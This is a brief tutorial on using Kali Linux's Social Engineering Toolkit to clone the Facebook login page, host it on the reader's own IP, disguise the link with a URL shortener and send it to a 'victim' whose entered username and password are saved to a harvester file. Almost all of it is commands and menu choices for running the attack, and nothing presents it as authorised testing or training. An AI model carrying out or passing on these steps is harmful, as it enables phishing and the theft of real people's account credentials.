1. Boot up kali linux on your machine and open terminal.
2. Type this command in the kali linux terminal.
root@kali~# setoolkit
3. Enter 'y' to agree the social engineering toolkit terms and conditions.
4. Select the following options one by one from the menu
'1' (Social Engineering Attacks) then
'2'(Website Attack Vectors) then
'3'(Credential Harvester Attack) then
5. Type '2' (Site cloner)
set:webattack> IP address for the post back in harvesting:192.168.x.xxx (your ip address)
set:webattack>Enter the url to clone: www.fb.com
6. Go to Places > Computer > VAR > WWW and move all the files from www folder to html folder.
7. Shorten your ip address with tinyurl.com and send it to the victim. When the victim open the link and enter the login details , you will get the username and password in a harvester text file which is located at Places > Computer > VAR > WWW.